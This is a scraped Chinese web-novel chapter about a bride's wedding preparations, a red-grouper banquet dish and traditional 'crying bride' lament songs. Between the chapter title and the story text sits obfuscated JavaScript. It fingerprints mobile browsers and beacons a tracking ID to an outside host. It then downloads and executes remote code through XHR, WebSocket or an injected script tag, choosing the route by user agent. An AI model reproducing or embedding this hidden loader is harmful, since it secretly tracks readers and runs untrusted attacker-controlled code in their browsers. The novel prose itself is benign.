足迹
周若云陈楠人到中年
登录
关灯
护眼
字体:

第426章 添妆与哭嫁(上)(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

秦琴垂目笑道:“夫人好贴心。大多数人看婚宴都讲究排场面子,张扬好看,那就是对闺女看重了。夫人却是个讲究实在的,连酒席口味都想到了。”

陈母笑道:“我比较贪心,面子要,里子也要。银珠,来给夫人夹一块双飞蝶舞,尝尝味道正不正宗?”

陈母的贴身丫鬟银珠原本早就已不做这种布菜捧盂的活计了,今天日子特殊,却亲自侍奉跟前。银珠给秦琴夹了一筷子菜,笑着说:“请县君尝味。”

所谓的“双飞蝶舞”,其实是一种刀法。选三斤左右,口感最佳的野生活鱼,活杀过后,去大骨,撕黑膜,把两片鱼排肉切下之后,用快刀切片,‘一刀连一刀断,刀刀均匀’。切出来的鱼片,鱼肉薄得能透光,以一丝鱼皮相连,不断不裂,宛如蝴蝶翩然飞舞,煞是好看。ap.zx.r

鱼片既已薄得透明,就不能够蒸或炸。琼州一带,最讲究的做法是“桥头”,把切好的鱼片,在满满一锅滚油里一过,不过一呼一吸之间,便即出锅。在端菜上桌的当口,残留在鱼上的油温即可把鱼烫至熟透,且上到桌子上,正好能够让客人看到鱼片受热变形,恰似蝴蝶振翅翩然欲飞的一幕。

秦琴把碗里搭配的醋姜和鱼片夹在一起,送入口中一尝,鲜美得眯起了眼睛,眉梢眼角全是餍足:“脆嫩鲜甜,火候恰好,真好吃!这是在海边啃食牡蛎和贻贝为生的红石斑鱼吧?不是惯常用的海鲈鱼,鱼肉较脆,鲜美更胜一筹了。”

陈母惊讶了,掩嘴一笑,说:“县君的舌头真灵,这样都能尝出来。没错,这是专门从鱼码头上订回来的红石斑鱼,每条三到五斤重,太轻太重都不要。轻了的小鱼没肉,太重了的老鱼肉质粗糙,做这道双飞蝶舞就不好吃了。”

一席话,倒是勾起了秦琴的食神,她若有所思道:“老鱼也好吃。老鱼得足够老,最好老到二三十斤了,然后用来放柴火灶焖煮。边煮边吃,从外往里吃,越煮越香,最后剩下一锅浓汤汁,鲜美无比,用来烫个地瓜山药或者不见青的菜叶,好吃得不得了。”

陈母捂着肚子,笑道:“县君一席话,说得我好饿。来来,好吃就多吃点。一会儿看哭嫁。”

说起哭嫁,秦琴是真的充满了好奇。水上人家生活困顿凄苦,讨一口饭吃不容易,才有了哭嫁的习俗。哭嫁的歌词,都是现编的,给新娘子量身定做。

但陈子梅是官宦家的女儿,父亲受重用,哥哥也听话有本事的。

可以说,有这么给力的娘家,陈子梅嫁过去之后,根本不会受委屈。

所以……他们家的哭嫁,会哭什么内容呢?

秦琴匆匆吃过了饭,跟着陈母,进了陈子梅的院子。

院子里的花草树木,全都用彩纸扎了花灯,惟妙惟肖,照得整个院子熠熠生辉。十几个穿红着绿的女眷,已坐在陈子梅房中,说笑聊天。陈母一进屋子,大家纷纷站起身,对陈母问好。

陈母把秦琴介绍给女眷们:“这位是长劼县君,皇上下旨亲封的。她的事迹,想必大家都听说过了。”

原本秦琴还觉得陈母说得太夸张了,就她干的那点儿微末事情,怎么可能“都”听说过?

没想到,竟然是真的!

“哇,是长劼县君啊,能够以女子之力,带着一群大男人们建文州桥的。”

“又聪明又能干,比男人还强!”

“比我想象的年轻呢,长得也好!”

那位资深气氛组,人间马屁神,马知事的夫人沈氏,今儿个也在现场。

她立马找到了发挥的地方,满脸堆笑的说:“县君,我们又见面了呀。难怪今天一大早的,就有喜鹊在枝头叫。我寻思着陈大人家千金的好日子快到了,自然是喜上眉梢的。没想到呀,过一会儿,又来了仨喜鹊一起叫,吱吱喳喳的,那我可就纳闷了,到底是啥天大的喜事要发生呀?搁现在我才明白,原来,是要见到您呢!”

一连串话语不带歇的,把气氛推到了高峰,大家都欢乐地笑了起来。

就连陈母,也笑盈盈的:“沈姐姐的嘴,比最会唱的云雀还要巧。倒是把我的心里话说出来了。——来来,县君,请上座。”

陈子梅今天还没有梳妆打扮,穿着一套面料较好的家常衣服,脸上不施脂粉,头发挽起来,抹了保养用的桂花油。眼睛亮亮的,看着秦琴:“大姐,看到您,我真高兴!”

秦琴报以微笑,这一屋子人,说的两车花团锦簇的话,加起来也没有陈子梅这句真挚动听。她说:“小梅,你赶紧坐下,今天和明天,你是唱主角的。”

陈子梅这才又坐下。

喜婆来说了一番吉利话,然后十来个穿着大红衣服的女人就在一名年轻妇人带领下,走进屋子来了。从她们光光的大脚丫子和黝黑但细腻的皮肤来看,这些人应该都是水上人家。

大家安静下来,年轻妇人深深吸一口气,眼皮子一垂一掀的瞬间,就带了点点泪光。

她曼声唱道:“娘听后园鸟雀惊,要听房中女儿声。我娘当门剥臭肚,手剥臭肚诉苦情。凤眼开花叶子青,麻雀开声我开声,新打铜盆才装水,新打剪刀两面青。娘不开口我开口,娘不开声我开声。月儿弯弯照地塘,女儿开口叫爹娘。父母养儿空指望,如似黄粱梦一场。五谷杂粮把儿养,眠干睡湿苦非常……”

无曲有调,婉转非常,就跟一根丝线,隔空抛出来,牢牢地把人给套住了。

那丝线收紧,再收紧,就把心给抓牢起来。

一抓一放,一放一抓,至顶尖处,秦琴伸手摸了一把眼角,发现自己不知什么时候,已是泪湿了。

年轻妇人唱完了领头的《哭爹娘》之后,就有《哭兄弟》《哭叔伯》《哭闺门》,既有四五人的小合唱,也有二人对唱,还有加入了丝竹伴奏的齐声大合唱。

早在唱《哭爹娘》的时候,陈母就不断擦眼泪。